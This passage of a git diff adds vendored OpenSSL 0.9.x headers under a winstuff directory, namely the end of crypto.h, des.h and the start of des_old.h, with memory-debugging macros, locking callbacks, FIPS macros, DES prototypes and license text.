CRYPTO_MEM_CHECK_OFF 0x0 /* an enume */ +#define CRYPTO_MEM_CHECK_ON 0x1 /* a bit */ +#define CRYPTO_MEM_CHECK_ENABLE 0x2 /* a bit */ +#define CRYPTO_MEM_CHECK_DISABLE 0x3 /* an enume */ + +/* The following are bit values to turn on or off options connected to the + * malloc checking functionality */ + +/* Adds time to the memory checking information */ +#define V_CRYPTO_MDEBUG_TIME 0x1 /* a bit */ +/* Adds thread number to the memory checking information */ +#define V_CRYPTO_MDEBUG_THREAD 0x2 /* a bit */ + +#define V_CRYPTO_MDEBUG_ALL (V_CRYPTO_MDEBUG_TIME | V_CRYPTO_MDEBUG_THREAD) + + +/* predec of the BIO type */ +typedef struct bio_st BIO_dummy; + +struct crypto_ex_data_st + { + STACK *sk; + int dummy; /* gcc is screwing up this data structure :-( */ + }; + +/* This stuff is basically class callback functions + * The current classes are SSL_CTX, SSL, SSL_SESSION, and a few more */ + +typedef struct crypto_ex_data_func_st + { + long argl; /* Arbitary long */ + void *argp; /* Arbitary void * */ + CRYPTO_EX_new *new_func; + CRYPTO_EX_free *free_func; + CRYPTO_EX_dup *dup_func; + } CRYPTO_EX_DATA_FUNCS; + +DECLARE_STACK_OF(CRYPTO_EX_DATA_FUNCS) + +/* Per class, we have a STACK of CRYPTO_EX_DATA_FUNCS for each CRYPTO_EX_DATA + * entry. + */ + +#define CRYPTO_EX_INDEX_BIO 0 +#define CRYPTO_EX_INDEX_SSL 1 +#define CRYPTO_EX_INDEX_SSL_CTX 2 +#define CRYPTO_EX_INDEX_SSL_SESSION 3 +#define CRYPTO_EX_INDEX_X509_STORE 4 +#define CRYPTO_EX_INDEX_X509_STORE_CTX 5 +#define CRYPTO_EX_INDEX_RSA 6 +#define CRYPTO_EX_INDEX_DSA 7 +#define CRYPTO_EX_INDEX_DH 8 +#define CRYPTO_EX_INDEX_ENGINE 9 +#define CRYPTO_EX_INDEX_X509 10 +#define CRYPTO_EX_INDEX_UI 11 +#define CRYPTO_EX_INDEX_ECDSA 12 +#define CRYPTO_EX_INDEX_ECDH 13 +#define CRYPTO_EX_INDEX_COMP 14 +#define CRYPTO_EX_INDEX_STORE 15 + +/* Dynamically assigned indexes start from this value (don't use directly, use + * via CRYPTO_ex_data_new_class). */ +#define CRYPTO_EX_INDEX_USER 100 + + +/* This is the default callbacks, but we can have others as well: + * this is needed in Win32 where the application malloc and the + * library malloc may not be the same. + */ +#define CRYPTO_malloc_init() CRYPTO_set_mem_functions(\ + malloc, realloc, free) + +#if defined CRYPTO_MDEBUG_ALL || defined CRYPTO_MDEBUG_TIME || defined CRYPTO_MDEBUG_THREAD +# ifndef CRYPTO_MDEBUG /* avoid duplicate #define */ +# define CRYPTO_MDEBUG +# endif +#endif + +/* Set standard debugging functions (not done by default + * unless CRYPTO_MDEBUG is defined) */ +void CRYPTO_malloc_debug_init(void); + +int CRYPTO_mem_ctrl(int mode); +int CRYPTO_is_mem_check_on(void); + +/* for applications */ +#define MemCheck_start() CRYPTO_mem_ctrl(CRYPTO_MEM_CHECK_ON) +#define MemCheck_stop() CRYPTO_mem_ctrl(CRYPTO_MEM_CHECK_OFF) + +/* for library-internal use */ +#define MemCheck_on() CRYPTO_mem_ctrl(CRYPTO_MEM_CHECK_ENABLE) +#define MemCheck_off() CRYPTO_mem_ctrl(CRYPTO_MEM_CHECK_DISABLE) +#define is_MemCheck_on() CRYPTO_is_mem_check_on() + +#define OPENSSL_malloc(num) CRYPTO_malloc((int)num,__FILE__,__LINE__) +#define OPENSSL_strdup(str) CRYPTO_strdup((str),__FILE__,__LINE__) +#define OPENSSL_realloc(addr,num) \ + CRYPTO_realloc((char *)addr,(int)num,__FILE__,__LINE__) +#define OPENSSL_realloc_clean(addr,old_num,num) \ + CRYPTO_realloc_clean(addr,old_num,num,__FILE__,__LINE__) +#define OPENSSL_remalloc(addr,num) \ + CRYPTO_remalloc((char **)addr,(int)num,__FILE__,__LINE__) +#define OPENSSL_freeFunc CRYPTO_free +#define OPENSSL_free(addr) CRYPTO_free(addr) + +#define OPENSSL_malloc_locked(num) \ + CRYPTO_malloc_locked((int)num,__FILE__,__LINE__) +#define OPENSSL_free_locked(addr) CRYPTO_free_locked(addr) + + +const char *SSLeay_version(int type); +unsigned long SSLeay(void); + +int OPENSSL_issetugid(void); + +/* An opaque type representing an implementation of "ex_data" support */ +typedef struct st_CRYPTO_EX_DATA_IMPL CRYPTO_EX_DATA_IMPL; +/* Return an opaque pointer to the current "ex_data" implementation */ +const CRYPTO_EX_DATA_IMPL *CRYPTO_get_ex_data_implementation(void); +/* Sets the "ex_data" implementation to be used (if it's not too late) */ +int CRYPTO_set_ex_data_implementation(const CRYPTO_EX_DATA_IMPL *i); +/* Get a new "ex_data" class, and return the corresponding "class_index" */ +int CRYPTO_ex_data_new_class(void); +/* Within a given class, get/register a new index */ +int CRYPTO_get_ex_new_index(int class_index, long argl, void *argp, + CRYPTO_EX_new *new_func, CRYPTO_EX_dup *dup_func, + CRYPTO_EX_free *free_func); +/* Initialise/duplicate/free CRYPTO_EX_DATA variables corresponding to a given + * class (invokes whatever per-class callbacks are applicable) */ +int CRYPTO_new_ex_data(int class_index, void *obj, CRYPTO_EX_DATA *ad); +int CRYPTO_dup_ex_data(int class_index, CRYPTO_EX_DATA *to, + CRYPTO_EX_DATA *from); +void CRYPTO_free_ex_data(int class_index, void *obj, CRYPTO_EX_DATA *ad); +/* Get/set data in a CRYPTO_EX_DATA variable corresponding to a particular index + * (relative to the class type involved) */ +int CRYPTO_set_ex_data(CRYPTO_EX_DATA *ad, int idx, void *val); +void *CRYPTO_get_ex_data(const CRYPTO_EX_DATA *ad,int idx); +/* This function cleans up all "ex_data" state. It mustn't be called under + * potential race-conditions. */ +void CRYPTO_cleanup_all_ex_data(void); + +int CRYPTO_get_new_lockid(char *name); + +int CRYPTO_num_locks(void); /* return CRYPTO_NUM_LOCKS (shared libs!) */ +void CRYPTO_lock(int mode, int type,const char *file,int line); +void CRYPTO_set_locking_callback(void (*func)(int mode,int type, + const char *file,int line)); +void (*CRYPTO_get_locking_callback(void))(int mode,int type,const char *file, + int line); +void CRYPTO_set_add_lock_callback(int (*func)(int *num,int mount,int type, + const char *file, int line)); +int (*CRYPTO_get_add_lock_callback(void))(int *num,int mount,int type, + const char *file,int line); +void CRYPTO_set_id_callback(unsigned long (*func)(void)); +unsigned long (*CRYPTO_get_id_callback(void))(void); +unsigned long CRYPTO_thread_id(void); +const char *CRYPTO_get_lock_name(int type); +int CRYPTO_add_lock(int *pointer,int amount,int type, const char *file, + int line); + +void int_CRYPTO_set_do_dynlock_callback( + void (*do_dynlock_cb)(int mode, int type, const char *file, int line)); + +int CRYPTO_get_new_dynlockid(void); +void CRYPTO_destroy_dynlockid(int i); +struct CRYPTO_dynlock_value *CRYPTO_get_dynlock_value(int i); +void CRYPTO_set_dynlock_create_callback(struct CRYPTO_dynlock_value *(*dyn_create_function)(const char *file, int line)); +void CRYPTO_set_dynlock_lock_callback(void (*dyn_lock_function)(int mode, struct CRYPTO_dynlock_value *l, const char *file, int line)); +void CRYPTO_set_dynlock_destroy_callback(void (*dyn_destroy_function)(struct CRYPTO_dynlock_value *l, const char *file, int line)); +struct CRYPTO_dynlock_value *(*CRYPTO_get_dynlock_create_callback(void))(const char *file,int line); +void (*CRYPTO_get_dynlock_lock_callback(void))(int mode, struct CRYPTO_dynlock_value *l, const char *file,int line); +void (*CRYPTO_get_dynlock_destroy_callback(void))(struct CRYPTO_dynlock_value *l, const char *file,int line); + +/* CRYPTO_set_mem_functions includes CRYPTO_set_locked_mem_functions -- + * call the latter last if you need different functions */ +int CRYPTO_set_mem_functions(void *(*m)(size_t),void *(*r)(void *,size_t), void (*f)(void *)); +int CRYPTO_set_locked_mem_functions(void *(*m)(size_t), void (*free_func)(void *)); +int CRYPTO_set_mem_ex_functions(void *(*m)(size_t,const char *,int), + void *(*r)(void *,size_t,const char *,int), + void (*f)(void *)); +int CRYPTO_set_locked_mem_ex_functions(void *(*m)(size_t,const char *,int), + void (*free_func)(void *)); +int CRYPTO_set_mem_debug_functions(void (*m)(void *,int,const char *,int,int), + void (*r)(void *,void *,int,const char *,int,int), + void (*f)(void *,int), + void (*so)(long), + long (*go)(void)); +void CRYPTO_set_mem_info_functions( + int (*push_info_fn)(const char *info, const char *file, int line), + int (*pop_info_fn)(void), + int (*remove_all_info_fn)(void)); +void CRYPTO_get_mem_functions(void *(**m)(size_t),void *(**r)(void *, size_t), void (**f)(void *)); +void CRYPTO_get_locked_mem_functions(void *(**m)(size_t), void (**f)(void *)); +void CRYPTO_get_mem_ex_functions(void *(**m)(size_t,const char *,int), + void *(**r)(void *, size_t,const char *,int), + void (**f)(void *)); +void CRYPTO_get_locked_mem_ex_functions(void *(**m)(size_t,const char *,int), + void (**f)(void *)); +void CRYPTO_get_mem_debug_functions(void (**m)(void *,int,const char *,int,int), + void (**r)(void *,void *,int,const char *,int,int), + void (**f)(void *,int), + void (**so)(long), + long (**go)(void)); + +void *CRYPTO_malloc_locked(int num, const char *file, int line); +void CRYPTO_free_locked(void *); +void *CRYPTO_malloc(int num, const char *file, int line); +char *CRYPTO_strdup(const char *str, const char *file, int line); +void CRYPTO_free(void *); +void *CRYPTO_realloc(void *addr,int num, const char *file, int line); +void *CRYPTO_realloc_clean(void *addr,int old_num,int num,const char *file, + int line); +void *CRYPTO_remalloc(void *addr,int num, const char *file, int line); + +void OPENSSL_cleanse(void *ptr, size_t len); + +void CRYPTO_set_mem_debug_options(long bits); +long CRYPTO_get_mem_debug_options(void); + +#define CRYPTO_push_info(info) \ + CRYPTO_push_info_(info, __FILE__, __LINE__); +int CRYPTO_push_info_(const char *info, const char *file, int line); +int CRYPTO_pop_info(void); +int CRYPTO_remove_all_info(void); + + +/* Default debugging functions (enabled by CRYPTO_malloc_debug_init() macro; + * used as default in CRYPTO_MDEBUG compilations): */ +/* The last argument has the following significance: + * + * 0: called before the actual memory allocation has taken place + * 1: called after the actual memory allocation has taken place + */ +void CRYPTO_dbg_malloc(void *addr,int num,const char *file,int line,int before_p); +void CRYPTO_dbg_realloc(void *addr1,void *addr2,int num,const char *file,int line,int before_p); +void CRYPTO_dbg_free(void *addr,int before_p); +/* Tell the debugging code about options. By default, the following values + * apply: + * + * 0: Clear all options. + * V_CRYPTO_MDEBUG_TIME (1): Set the "Show Time" option. + * V_CRYPTO_MDEBUG_THREAD (2): Set the "Show Thread Number" option. + * V_CRYPTO_MDEBUG_ALL (3): 1 + 2 + */ +void CRYPTO_dbg_set_options(long bits); +long CRYPTO_dbg_get_options(void); + +int CRYPTO_dbg_push_info(const char *info, const char *file, int line); +int CRYPTO_dbg_pop_info(void); +int CRYPTO_dbg_remove_all_info(void); + +#ifndef OPENSSL_NO_FP_API +void CRYPTO_mem_leaks_fp(FILE *); +#endif +void CRYPTO_mem_leaks(struct bio_st *bio); +/* unsigned long order, char *file, int line, int num_bytes, char *addr */ +typedef void *CRYPTO_MEM_LEAK_CB(unsigned long, const char *, int, int, void *); +void CRYPTO_mem_leaks_cb(CRYPTO_MEM_LEAK_CB *cb); + +/* die if we have to */ +void OpenSSLDie(const char *file,int line,const char *assertion); +#define OPENSSL_assert(e) (void)((e) ? 0 : (OpenSSLDie(__FILE__, __LINE__, #e),1)) + +unsigned long *OPENSSL_ia32cap_loc(void); +#define OPENSSL_ia32cap (*(OPENSSL_ia32cap_loc())) +int OPENSSL_isservice(void); + +#ifdef OPENSSL_FIPS +#define FIPS_ERROR_IGNORED(alg) OpenSSLDie(__FILE__, __LINE__, \ + alg " previous FIPS forbidden algorithm error ignored"); + +#define FIPS_BAD_ABORT(alg) OpenSSLDie(__FILE__, __LINE__, \ + #alg " Algorithm forbidden in FIPS mode"); + +#ifdef OPENSSL_FIPS_STRICT +#define FIPS_BAD_ALGORITHM(alg) FIPS_BAD_ABORT(alg) +#else +#define FIPS_BAD_ALGORITHM(alg) \ + { \ + FIPSerr(FIPS_F_HASH_FINAL,FIPS_R_NON_FIPS_METHOD); \ + ERR_add_error_data(2, "Algorithm=", #alg); \ + return 0; \ + } +#endif + +/* Low level digest API blocking macro */ + +#define FIPS_NON_FIPS_MD_Init(alg) \ + int alg##_Init(alg##_CTX *c) \ + { \ + if (FIPS_mode()) \ + FIPS_BAD_ALGORITHM(alg) \ + return private_##alg##_Init(c); \ + } \ + int private_##alg##_Init(alg##_CTX *c) + +/* For ciphers the API often varies from cipher to cipher and each needs to + * be treated as a special case. Variable key length ciphers (Blowfish, RC4, + * CAST) however are very similar and can use a blocking macro. + */ + +#define FIPS_NON_FIPS_VCIPHER_Init(alg) \ + void alg##_set_key(alg##_KEY *key, int len, const unsigned char *data) \ + { \ + if (FIPS_mode()) \ + FIPS_BAD_ABORT(alg) \ + private_##alg##_set_key(key, len, data); \ + } \ + void private_##alg##_set_key(alg##_KEY *key, int len, \ + const unsigned char *data) + +#else + +#define FIPS_NON_FIPS_VCIPHER_Init(alg) \ + void alg##_set_key(alg##_KEY *key, int len, const unsigned char *data) + +#define FIPS_NON_FIPS_MD_Init(alg) \ + int alg##_Init(alg##_CTX *c) + +#endif /* def OPENSSL_FIPS */ + +/* BEGIN ERROR CODES */ +/* The following lines are auto generated by the script mkerr.pl. Any changes + * made after this point may be overwritten when the script is next run. + */ +void ERR_load_CRYPTO_strings(void); + +#define OPENSSL_HAVE_INIT 1 +void OPENSSL_init(void); + +/* Error codes for the CRYPTO functions. */ + +/* Function codes. */ +#define CRYPTO_F_CRYPTO_GET_EX_NEW_INDEX 100 +#define CRYPTO_F_CRYPTO_GET_NEW_DYNLOCKID 103 +#define CRYPTO_F_CRYPTO_GET_NEW_LOCKID 101 +#define CRYPTO_F_CRYPTO_SET_EX_DATA 102 +#define CRYPTO_F_DEF_ADD_INDEX 104 +#define CRYPTO_F_DEF_GET_CLASS 105 +#define CRYPTO_F_INT_DUP_EX_DATA 106 +#define CRYPTO_F_INT_FREE_EX_DATA 107 +#define CRYPTO_F_INT_NEW_EX_DATA 108 + +/* Reason codes. */ +#define CRYPTO_R_NO_DYNLOCK_CREATE_CALLBACK 100 + +#ifdef __cplusplus +} +#endif +#endif diff --git a/winstuff/openssl/des.h b/winstuff/openssl/des.h new file mode 100644 index 0000000..92b6663 --- /dev/null +++ b/winstuff/openssl/des.h @@ -0,0 +1,245 @@ +/* crypto/des/des.h */ +/* Copyright (C) 1995-1997 Eric Young (eay@cryptsoft.com) + * All rights reserved. + * + * This package is an SSL implementation written + * by Eric Young (eay@cryptsoft.com). + * The implementation was written so as to conform with Netscapes SSL. + * + * This library is free for commercial and non-commercial use as long as + * the following conditions are aheared to. The following conditions + * apply to all code found in this distribution, be it the RC4, RSA, + * lhash, DES, etc., code; not just the SSL code. The SSL documentation + * included with this distribution is covered by the same copyright terms + * except that the holder is Tim Hudson (tjh@cryptsoft.com). + * + * Copyright remains Eric Young's, and as such any Copyright notices in + * the code are not to be removed. + * If this package is used in a product, Eric Young should be given attribution + * as the author of the parts of the library used. + * This can be in the form of a textual message at program startup or + * in documentation (online or textual) provided with the package. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * "This product includes cryptographic software written by + * Eric Young (eay@cryptsoft.com)" + * The word 'cryptographic' can be left out if the rouines from the library + * being used are not cryptographic related :-). + * 4. If you include any Windows specific code (or a derivative thereof) from + * the apps directory (application code) you must include an acknowledgement: + * "This product includes software written by Tim Hudson (tjh@cryptsoft.com)" + * + * THIS SOFTWARE IS PROVIDED BY ERIC YOUNG ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + * The licence and distribution terms for any publically available version or + * derivative of this code cannot be changed. i.e. this code cannot simply be + * copied and put under another distribution licence + * [including the GNU Public Licence.] + */ + +#ifndef HEADER_NEW_DES_H +#define HEADER_NEW_DES_H + +#include /* OPENSSL_EXTERN, OPENSSL_NO_DES, + DES_LONG (via openssl/opensslconf.h */ + +#ifdef OPENSSL_NO_DES +#error DES is disabled. +#endif + +#ifdef OPENSSL_BUILD_SHLIBCRYPTO +# undef OPENSSL_EXTERN +# define OPENSSL_EXTERN OPENSSL_EXPORT +#endif + +#ifdef __cplusplus +extern "C" { +#endif + +typedef unsigned char DES_cblock[8]; +typedef /* const */ unsigned char const_DES_cblock[8]; +/* With "const", gcc 2.8.1 on Solaris thinks that DES_cblock * + * and const_DES_cblock * are incompatible pointer types. */ + +typedef struct DES_ks + { + union + { + DES_cblock cblock; + /* make sure things are correct size on machines with + * 8 byte longs */ + DES_LONG deslong[2]; + } ks[16]; + } DES_key_schedule; + +#ifndef OPENSSL_DISABLE_OLD_DES_SUPPORT +# ifndef OPENSSL_ENABLE_OLD_DES_SUPPORT +# define OPENSSL_ENABLE_OLD_DES_SUPPORT +# endif +#endif + +#ifdef OPENSSL_ENABLE_OLD_DES_SUPPORT +# include +#endif + +#define DES_KEY_SZ (sizeof(DES_cblock)) +#define DES_SCHEDULE_SZ (sizeof(DES_key_schedule)) + +#define DES_ENCRYPT 1 +#define DES_DECRYPT 0 + +#define DES_CBC_MODE 0 +#define DES_PCBC_MODE 1 + +#define DES_ecb2_encrypt(i,o,k1,k2,e) \ + DES_ecb3_encrypt((i),(o),(k1),(k2),(k1),(e)) + +#define DES_ede2_cbc_encrypt(i,o,l,k1,k2,iv,e) \ + DES_ede3_cbc_encrypt((i),(o),(l),(k1),(k2),(k1),(iv),(e)) + +#define DES_ede2_cfb64_encrypt(i,o,l,k1,k2,iv,n,e) \ + DES_ede3_cfb64_encrypt((i),(o),(l),(k1),(k2),(k1),(iv),(n),(e)) + +#define DES_ede2_ofb64_encrypt(i,o,l,k1,k2,iv,n) \ + DES_ede3_ofb64_encrypt((i),(o),(l),(k1),(k2),(k1),(iv),(n)) + +OPENSSL_DECLARE_GLOBAL(int,DES_check_key); /* defaults to false */ +#define DES_check_key OPENSSL_GLOBAL_REF(DES_check_key) +OPENSSL_DECLARE_GLOBAL(int,DES_rw_mode); /* defaults to DES_PCBC_MODE */ +#define DES_rw_mode OPENSSL_GLOBAL_REF(DES_rw_mode) + +const char *DES_options(void); +void DES_ecb3_encrypt(const_DES_cblock *input, DES_cblock *output, + DES_key_schedule *ks1,DES_key_schedule *ks2, + DES_key_schedule *ks3, int enc); +DES_LONG DES_cbc_cksum(const unsigned char *input,DES_cblock *output, + long length,DES_key_schedule *schedule, + const_DES_cblock *ivec); +/* DES_cbc_encrypt does not update the IV! Use DES_ncbc_encrypt instead. */ +void DES_cbc_encrypt(const unsigned char *input,unsigned char *output, + long length,DES_key_schedule *schedule,DES_cblock *ivec, + int enc); +void DES_ncbc_encrypt(const unsigned char *input,unsigned char *output, + long length,DES_key_schedule *schedule,DES_cblock *ivec, + int enc); +void DES_xcbc_encrypt(const unsigned char *input,unsigned char *output, + long length,DES_key_schedule *schedule,DES_cblock *ivec, + const_DES_cblock *inw,const_DES_cblock *outw,int enc); +void DES_cfb_encrypt(const unsigned char *in,unsigned char *out,int numbits, + long length,DES_key_schedule *schedule,DES_cblock *ivec, + int enc); +void DES_ecb_encrypt(const_DES_cblock *input,DES_cblock *output, + DES_key_schedule *ks,int enc); + +/* This is the DES encryption function that gets called by just about + every other DES routine in the library. You should not use this + function except to implement 'modes' of DES. I say this because the + functions that call this routine do the conversion from 'char *' to + long, and this needs to be done to make sure 'non-aligned' memory + access do not occur. The characters are loaded 'little endian'. + Data is a pointer to 2 unsigned long's and ks is the + DES_key_schedule to use. enc, is non zero specifies encryption, + zero if decryption. */ +void DES_encrypt1(DES_LONG *data,DES_key_schedule *ks, int enc); + +/* This functions is the same as DES_encrypt1() except that the DES + initial permutation (IP) and final permutation (FP) have been left + out. As for DES_encrypt1(), you should not use this function. + It is used by the routines in the library that implement triple DES. + IP() DES_encrypt2() DES_encrypt2() DES_encrypt2() FP() is the same + as DES_encrypt1() DES_encrypt1() DES_encrypt1() except faster :-). */ +void DES_encrypt2(DES_LONG *data,DES_key_schedule *ks, int enc); + +void DES_encrypt3(DES_LONG *data, DES_key_schedule *ks1, + DES_key_schedule *ks2, DES_key_schedule *ks3); +void DES_decrypt3(DES_LONG *data, DES_key_schedule *ks1, + DES_key_schedule *ks2, DES_key_schedule *ks3); +void DES_ede3_cbc_encrypt(const unsigned char *input,unsigned char *output, + long length, + DES_key_schedule *ks1,DES_key_schedule *ks2, + DES_key_schedule *ks3,DES_cblock *ivec,int enc); +void DES_ede3_cbcm_encrypt(const unsigned char *in,unsigned char *out, + long length, + DES_key_schedule *ks1,DES_key_schedule *ks2, + DES_key_schedule *ks3, + DES_cblock *ivec1,DES_cblock *ivec2, + int enc); +void DES_ede3_cfb64_encrypt(const unsigned char *in,unsigned char *out, + long length,DES_key_schedule *ks1, + DES_key_schedule *ks2,DES_key_schedule *ks3, + DES_cblock *ivec,int *num,int enc); +void DES_ede3_cfb_encrypt(const unsigned char *in,unsigned char *out, + int numbits,long length,DES_key_schedule *ks1, + DES_key_schedule *ks2,DES_key_schedule *ks3, + DES_cblock *ivec,int enc); +void DES_ede3_ofb64_encrypt(const unsigned char *in,unsigned char *out, + long length,DES_key_schedule *ks1, + DES_key_schedule *ks2,DES_key_schedule *ks3, + DES_cblock *ivec,int *num); +#if 0 +void DES_xwhite_in2out(const_DES_cblock *DES_key,const_DES_cblock *in_white, + DES_cblock *out_white); +#endif + +int DES_enc_read(int fd,void *buf,int len,DES_key_schedule *sched, + DES_cblock *iv); +int DES_enc_write(int fd,const void *buf,int len,DES_key_schedule *sched, + DES_cblock *iv); +char *DES_fcrypt(const char *buf,const char *salt, char *ret); +char *DES_crypt(const char *buf,const char *salt); +void DES_ofb_encrypt(const unsigned char *in,unsigned char *out,int numbits, + long length,DES_key_schedule *schedule,DES_cblock *ivec); +void DES_pcbc_encrypt(const unsigned char *input,unsigned char *output, + long length,DES_key_schedule *schedule,DES_cblock *ivec, + int enc); +DES_LONG DES_quad_cksum(const unsigned char *input,DES_cblock output[], + long length,int out_count,DES_cblock *seed); +int DES_random_key(DES_cblock *ret); +void DES_set_odd_parity(DES_cblock *key); +int DES_check_key_parity(const_DES_cblock *key); +int DES_is_weak_key(const_DES_cblock *key); +/* DES_set_key (= set_key = DES_key_sched = key_sched) calls + * DES_set_key_checked if global variable DES_check_key is set, + * DES_set_key_unchecked otherwise. */ +int DES_set_key(const_DES_cblock *key,DES_key_schedule *schedule); +int DES_key_sched(const_DES_cblock *key,DES_key_schedule *schedule); +int DES_set_key_checked(const_DES_cblock *key,DES_key_schedule *schedule); +void DES_set_key_unchecked(const_DES_cblock *key,DES_key_schedule *schedule); +void DES_string_to_key(const char *str,DES_cblock *key); +void DES_string_to_2keys(const char *str,DES_cblock *key1,DES_cblock *key2); +void DES_cfb64_encrypt(const unsigned char *in,unsigned char *out,long length, + DES_key_schedule *schedule,DES_cblock *ivec,int *num, + int enc); +void DES_ofb64_encrypt(const unsigned char *in,unsigned char *out,long length, + DES_key_schedule *schedule,DES_cblock *ivec,int *num); + +int DES_read_password(DES_cblock *key, const char *prompt, int verify); +int DES_read_2passwords(DES_cblock *key1, DES_cblock *key2, const char *prompt, + int verify); + +#define DES_fixup_key_parity DES_set_odd_parity + +#ifdef __cplusplus +} +#endif + +#endif diff --git a/winstuff/openssl/des_old.h b/winstuff/openssl/des_old.h new file mode 100644 index 0000000..2b2c372 --- /dev/null +++ b/winstuff/openssl/des_old.h @@ -0,0 +1,446 @@ +/* crypto/des/des_old.h -*- mode:C; c-file-style: "eay" -*- */ + +/* WARNING WARNING WARNING WARNING WARNING WARNING WARNING WARNING + * + * The function names in here are deprecated and are only present to + * provide an interface compatible with openssl 0.9.6 and older as + * well as libdes. OpenSSL now provides functions where "des_" has + * been replaced with "DES_" in the names, to make it possible to + * make incompatible changes that are needed for C type security and + * other stuff. + * + * This include files has two compatibility modes: + * + * - If OPENSSL_DES_LIBDES_COMPATIBILITY is defined, you get an API + * that is compatible with libdes and SSLeay. + * - If OPENSSL_DES_LIBDES_COMPATIBILITY isn't defined, you get an + * API that is compatible with OpenSSL 0.9.5x to 0.9.6x. + * + * Note that these modes break earlier snapshots of OpenSSL, where + * libdes compatibility was the only available mode or (later on) the + * prefered compatibility mode. However, after much consideration + * (and more or less violent discussions with external parties), it + * was concluded that OpenSSL should be compatible with earlier versions + * of itself before anything else. Also, in all honesty, libdes is + * an old beast that shouldn't really be used any more. + * + * Please consider starting to use the DES_ functions rather than the + * des_ ones. The des_ functions will disappear completely before + * OpenSSL 1.0! + * + * WARNING WARNING WARNING WARNING WARNING WARNING WARNING WARNING + */ + +/* Written by Richard Levitte (richard@levitte.org) for the OpenSSL + * project 2001. + */ +/* ==================================================================== + * Copyright (c) 1998-2002 The OpenSSL Project. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in + * the documentation and/or other materials provided with the + * distribution. + * + * 3. All advertising materials mentioning features or use of this + * software must display the following acknowledgment: + * "This product includes software developed by the OpenSSL Project + * for use in the OpenSSL Toolkit. (http://www.openssl.org/)" + * + * 4. The names "OpenSSL Toolkit" and "OpenSSL Project" must not be used to + * endorse or promote products derived from this software without + * prior written permission. For written permission, please contact + * openssl-core@openssl.org. + * + * 5. Products derived from this software may not be called "OpenSSL" + * nor may "OpenSSL" appear in their names without prior written + * permission of the OpenSSL Project. + * + * 6. Redistributions of any form whatsoever must retain the following + * acknowledgment: + * "This product includes software developed by the OpenSSL Project + * for use in the OpenSSL Toolkit (http://www.openssl.org/)" + * + * THIS SOFTWARE IS PROVIDED BY THE OpenSSL PROJECT ``AS IS'' AND ANY + * EXPRESSED OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR + * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE OpenSSL PROJECT OR + * ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, + * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, + * STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) + * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED + * OF THE POSSIBILITY OF SUCH DAMAGE. + * ==================================================================== + * + * This product includes cryptographic software written by Eric Young + * (eay@cryptsoft.com). This product includes software written by Tim + * Hudson (tjh@cryptsoft.com). + * + */ + +#ifndef HEADER_DES_H +#define HEADER_DES_H + +#include /* OPENSSL_EXTERN, OPENSSL_NO_DES, DES_LONG */ + +#ifdef OPENSSL_NO_DES +#error DES is disabled. +#endif + +#ifndef HEADER_NEW_DES_H +#error You must include des.h, not des_old.h directly. +#endif + +#ifdef _KERBEROS_DES_H +#error replaces . +#endif + +#include + +#ifdef OPENSSL_BUILD_SHLIBCRYPTO +# undef OPENSSL_EXTERN +# define OPENSSL_EXTERN OPENSSL_EXPORT +#endif + +#ifdef __cplusplus +extern "C" { +#endif + +#ifdef _ +#undef _ +#endif + +typedef unsigned char _ossl_old_des_cblock[8]; +typedef struct _ossl_old_des_ks_struct + { + union { + _ossl_old_des_cblock _; + /* make sure things are correct size on machines with + * 8 byte longs */ + DES_LONG pad[2]; + } ks; + } _ossl_old_des_key_schedule[16]; + +#ifndef OPENSSL_DES_LIBDES_COMPATIBILITY +#define des_cblock DES_cblock +#define const_des_cblock const_DES_cblock +#define des_key_schedule DES_key_schedule +#define des_ecb3_encrypt(i,o,k1,k2,k3,e)\ + DES_ecb3_encrypt((i),(o),&(k1),&(k2),&(k3),(e)) +#define des_ede3_cbc_encrypt(i,o,l,k1,k2,k3,iv,e)\ + DES_ede3_cbc_encrypt((i),(o),(l),&(k1),&(k2),&(k3),(iv),(e)) +#define des_ede3_cbcm_encrypt(i,o,l,k1,k2,k3,iv1,iv2,e)\ + DES_ede3_cbcm_encrypt((i),(o),(l),&(k1),&(k2),&(k3),(iv1),(iv2),(e)) +#define des_ede3_cfb64_encrypt(i,o,l,k1,k2,k3,iv,n,e)\ + 